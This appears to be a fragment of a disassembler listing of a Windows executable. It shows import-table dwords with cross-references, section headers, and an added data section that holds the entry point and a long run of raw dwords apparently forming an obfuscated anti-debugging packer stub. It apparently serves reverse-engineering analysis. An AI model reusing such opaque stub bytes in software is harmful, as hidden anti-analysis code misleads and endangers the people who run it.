dword_4943EC dd 9306DAh ; DATA XREF: sub_4132AA+5Fr
; .text:0042660Ar ...
dword_4943F0 dd 9306FFh ; DATA XREF: .text:004136A5r
; sub_42ACC0+18r ...
dword_4943F4 dd 93071Dh ; DATA XREF: .text:00413719r
; sub_4152DC+1Dr ...
dword_4943F8 dd 93072Ch ; DATA XREF: sub_413E55+1EAr
; .text:00430E9Cr
dword_4943FC dd 93074Ah ; DATA XREF: sub_41416C+C7r
; .text:00430EA2r
dword_494400 dd 93075Ah ; DATA XREF: sub_414541+5Er
; .text:00430EA8r
dword_494404 dd 93076Bh ; DATA XREF: sub_415430+1CFr
; .text:00430EAEr
dword_494408 dd 930779h ; DATA XREF: sub_417FE0+2Ar
; sub_41E130+19r ...
dword_49440C dd 930787h ; DATA XREF: sub_417FE0+12r
; .text:00430EBAr
dword_494410 dd 930798h ; DATA XREF: sub_418030+7Cr
; sub_41C930+39r ...
dword_494414 dd 9307A8h ; DATA XREF: sub_41A5E0+76r
; sub_41A5E0+B6r ...
dword_494418 dd 9307B8h ; DATA XREF: sub_41A5E0+62r
; sub_41AE40+2Cr ...
dword_49441C dd 9307D5h ; DATA XREF: sub_41ABD0+9Fr
; sub_42BAC0+5Er ...
dword_494420 dd 9307F0h ; DATA XREF: sub_41ABD0+17r
; .text:00430ED8r
dword_494424 dd 930800h ; DATA XREF: sub_41B970+E2r
; sub_425AC0+87r ...
dword_494428 dd 93080Fh ; DATA XREF: sub_41B970+B3r
; .text:00430EE4r
dword_49442C dd 93081Eh ; DATA XREF: sub_41B970+26r
; .text:00430EEAr
dword_494430 dd 930843h ; DATA XREF: sub_41BBB0+9r
; sub_41BBB0+16r ...
dword_494434 dd 930861h ; DATA XREF: .text:0041BD59r
; .text:00430EF6r
dword_494438 dd 930870h ; DATA XREF: sub_41BE70+3r
; .text:00430EFCr
dword_49443C dd 93088Eh ; DATA XREF: .text:0041BF1Er
; .text:0041BF38r ...
dword_494440 dd 93089Eh ; DATA XREF: sub_41BF80+102r
; sub_41BF80+2F3r ...
dword_494444 dd 9308AFh ; DATA XREF: sub_41C620+A3r
; sub_41C6D0+1B0r ...
dword_494448 dd 9308BDh ; DATA XREF: sub_41C9C0+3Cr
; .text:0041CAA2r ...
dword_49444C dd 9308CBh ; DATA XREF: sub_41C9C0+14r
; .text:00430F1Ar
dword_494450 dd 9308DCh ; DATA XREF: .text:0041CA4Cr
; .text:0041CA60r ...
dword_494454 dd 9308ECh ; DATA XREF: sub_41D710+A3r
; sub_41D820+A7r ...
dword_494458 dd 9308FCh ; DATA XREF: sub_41F930+64r
; sub_41FA10+66r ...
dword_49445C dd 930919h ; DATA XREF: sub_41F930+4Ar
; sub_41FA10+50r ...
dword_494460 dd 930934h ; DATA XREF: sub_41F930+9r
; .text:00430F38r
dword_494464 dd 930944h ; DATA XREF: .text:0041F9D7r
; .text:00430F3Er
dword_494468 dd 930953h ; DATA XREF: sub_41FA10+8Br
; .text:00430F44r
dword_49446C dd 930962h ; DATA XREF: sub_41FA10+15r
; .text:0041FACCr ...
dword_494470 dd 930987h ; DATA XREF: .text:0041FBD3r
; .text:00430F50r
dword_494474 dd 9309A5h ; DATA XREF: sub_422F40+69r
; sub_422F40+C0r ...
dword_494478 dd 9309B4h ; DATA XREF: sub_422F40+41r
; sub_422F40+1A5r ...
dword_49447C dd 9309D2h ; DATA XREF: sub_4241C0+1C7r
; sub_424670+17r ...
dword_494480 dd 9309E2h ; DATA XREF: sub_424510+35r
; .text:00430F68r
dword_494484 dd 9309F3h ; DATA XREF: sub_424510+1Dr
; .text:00430F6Er
dword_494488 dd 930A01h ; DATA XREF: sub_424F60+37r
; .text:00430F74r
dword_49448C dd 930A0Fh ; DATA XREF: sub_4258A0+1E6r
; sub_4258A0+208r ...
dword_494490 dd 930A20h ; DATA XREF: sub_4258A0+108r
; sub_4258A0+150r ...
dword_494494 dd 930A30h ; DATA XREF: sub_4258A0:loc_4258D8r
; sub_4258A0+171r ...
dword_494498 dd 930A40h ; DATA XREF: sub_4258A0+1Dr
; sub_4258A0+6Dr ...
dd 930A5Dh
dword_4944A0 dd 71AB12F8h ; DATA XREF: sub_406C1D+35r
; .text:00430CDAr
dword_4944A4 dd 71AB3E5Dh ; DATA XREF: sub_406C1D+57r
; .text:00430CD4r
dword_4944A8 dd 71AB1836h ; DATA XREF: sub_406C1D+6Er
; sub_406C9A+8Er ...
dword_4944AC dd 71AB41DAh ; DATA XREF: sub_406614+47r
; sub_406C1D+15r ...
dword_4944B0 dd 71AB3C22h ; DATA XREF: sub_406614+78r
; sub_406C1D+21r ...
dword_4944B4 dd 71AB3F8Dh ; DATA XREF: sub_406614+91r
; .text:00430CBCr
dword_4944B8 dd 71AB155Ah ; DATA XREF: sub_406614+A1r
; .text:00430CB6r
dword_4944BC dd 71AB1746h ; DATA XREF: sub_406614+B7r
; sub_406C1D+41r ...
dword_4944C0 dd 71AB3ECEh ; DATA XREF: sub_406614+C8r
; .text:00430CAAr
dword_4944C4 dd 71AB5DE2h ; DATA XREF: sub_406614+DCr
; .text:00430CA4r
dword_4944C8 dd 71AB1AF4h ; DATA XREF: sub_406614+E8r
; sub_406C9A+66r ...
dword_4944CC dd 71AB1890h ; DATA XREF: sub_406614+119r
; .text:00430C98r
dword_4944D0 dd 71AB1B7Bh ; DATA XREF: sub_430C92r
dword_4944D4 dd 71AB868Dh ; DATA XREF: sub_406614+186r
; .text:00430C8Cr
dword_4944D8 dd 71AB5690h ; DATA XREF: sub_406614+1FEr
; .text:00430C86r
dword_4944DC dd 71AB1A6Dh ; DATA XREF: sub_406614+24Fr
; sub_406C1D+68r ...
align 1000h
_idata ends
; Section 5. (virtual address 00095000)
; Virtual size : 00003000 ( 12288.)
; Section size in file : 00003000 ( 12288.)
; Offset to raw data for section: 00095000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg004 segment para public 'DATA' use32
assume cs:seg004
;org 495000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame thunk
sub_495000 proc near ; CODE XREF: startj
jmp sub_41B970
sub_495000 endp
; ---------------------------------------------------------------------------
align 4
dd 8Eh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: .data:004439D0o
dd 550h dup(0)
dd 0FABD0000h, 0B90040CDh, 2Ch, 0AB66AAF3h, 20CD02EBh
dd 2464FF61h, 89D0h, 0
dd 0C0172F9h, 6040C133h, 6E8h, 24648B00h, 330DEB08h, 31FF64C9h
dd 0F1218964h, 0E8EBF1F7h, 20CD02EBh, 0E8C6F883h, 6, 6E940h
dd 0C8C10000h, 0C003C358h, 0BFC713h, 64000000h, 0EB5F078Fh
dd 0D883B801h, 6E8606Fh, 8B000000h, 0EB082464h, 0FF67641Ah
dd 64000036h, 268967h, 0C819C00h, 10024h, 73F89D00h, 6420CDDCh
dd 68F67h, 0F9615800h, 20CD0272h, 0E87872F8h, 0
dd 0C0172F9h, 76A5D33Dh, 241C8B13h, 97EB8158h, 0EB004114h
dd 0E8F56601h, 0Bh, 0E998C233h, 0Eh, 255172F8h, 0DCEFF0BCh
dd 66FF0DC3h, 9C2D1CD4h, 0BE35A078h, 0
dd 9FE2F681h, 0C68105ECh, 0FA5473B7h, 20FF02EBh, 0E805E883h
dd 0Ch, 9E9C313h, 0D000000h, 2992B790h, 0C31DD0C1h, 0F303C613h
dd 0F281D233h, 0D735CDE9h, 3234C281h, 72F928CAh, 0E8400C01h
dd 8, 8E9F8h, 0C6230000h, 0C3C22390h, 50BFC413h, 0F9722666h
dd 20CD0272h, 3119FF6Bh, 3C7C13Eh, 7D783F8h, 6A05C78Bh
dd 977B0DDFh, 0F0273F8h, 4DB89888h, 2B0440F8h, 4CC281D0h
dd 0F80440F8h, 210F0273h, 81C31BF9h, 4C6h, 0FF02EB00h
dd 73F89020h, 0C1880F02h, 0C0334FD8h, 79C20348h, 7001EBB7h
dd 0E8FCC223h, 9, 7E9FCh, 8B480000h, 0D883C3C4h, 21D0C1ABh
dd 6601EB61h, 1EA1050Dh, 372FC30Ch, 0E6F7ADD6h, 0AFC97D57h
dd 14326E75h, 9EBF26E2h, 0E2787083h, 32622CB9h, 1443D8D6h
dd 9FD9F8AAh, 0E774881h, 0A0CAF622h, 9178B309h, 0F954E5D1h
dd 9989BFh, 594DF7C5h, 0FB7E84D5h, 65285F15h, 0A1B21D29h
dd 3D7F794Fh, 2BF9D675h, 0F57AB107h, 0AB330402h, 7F2B2BB9h
dd 9E0E2B5Fh, 0BE294755h, 2EB0407h, 41E820CDh, 5B000000h
dd 0E8h, 0Ah dup(0)
dd 0FFAB6600h, 0C1EA66E3h, 928C9E8h, 9DDD1B0Bh, 0CC2E1082h
dd 0EBFF03EBh, 0C01BFCFFh, 6E860h, 648B0000h, 0DEB0824h
dd 0FF64DB33h, 23896433h, 0EB03FFF1h, 75E40BE8h, 230DEB01h
dd 2B065267h, 68F64F6h, 0FF02EB5Eh, 6E86020h, 8B000000h
dd 0EB082464h, 0FF67641Ah, 64000036h, 268967h, 0C819C00h
dd 10024h, 73F89D00h, 6420CDDCh, 68F67h, 0B615800h, 0EB0175E4h
dd 5B145E05h, 0E812h, 2EB0000h, 348B20FFh, 0EE815824h
dd 411449h, 379E485h, 3D42910Fh, 356623D9h, 14E908B8h
dd 81F88B9Eh, 0D3D572EFh, 0B801EB9Dh, 0ACB8FE03h, 8B337649h
dd 9FEB81D8h, 0EB337649h, 1B486601h, 2376BAC1h, 2EB3F1Dh
dd 0C50320FFh, 8E8h, 1DD08300h, 7E9h, 40C51300h, 90C883C3h
dd 310FD26Bh, 3C2C117h, 3FD283F9h, 4C781h, 2EB0000h, 0D0C120FFh
dd 75E40B81h, 0F083EB01h, 1EB83DEh, 906601EBh, 0B932C281h
dd 73F842F1h, 0B8210F02h, 2DC3D36h, 0E3CB8B51h, 0C0EB5903h
dd 272F959h, 0C0C120CDh, 2EB619Ch, 134020FFh, 4D10C3C0h
dd 79A015E2h, 0C2072DD1h, 0CB75C9B0h, 0D324027Dh, 21880565h
dd 5D2172Dh, 0F2CD4C10h, 4AD471E5h, 0A00A8362h, 59FC90C8h
dd 0D992C9EFh, 71505310h, 4270B850h, 0DD369D76h, 0D1386F20h
dd 0A5DC62B6h, 499F8256h, 727E1D25h, 66F0DEE9h, 7C5C8961h
dd 523AB54h, 102C2C82h, 3971F821h, 18A48BC7h, 0D112E2A8h
dd 879B1DE2h, 5ACBF0ECh, 5A81A8Eh, 1E864817h, 23C36C0Bh
dd 0B6E016B8h, 0C8B28DA7h, 0B8F32348h, 74227698h, 5D30CFB6h
dd 57DAA74Bh, 0B311165Ah, 0BF15E83Ah, 0E911DB4h, 5BDAD306h
dd 0B2562184h, 0BF2B21F2h, 74AFB354h, 48941F98h, 839C6049h
dd 6CEE4A2h, 646E0B3Ch, 0F6636C39h, 7032295h, 0E8h, 242C8100h
dd 237h, 42464FFh
db 0, 0F9h
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
align 4
dd 500E0000h, 9B40h, 0E7h dup(0)
dd 9090000h, 0A0808h, 41Eh dup(0)
seg004 ends
; Section 6. (virtual address 00098000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00098000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 498000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start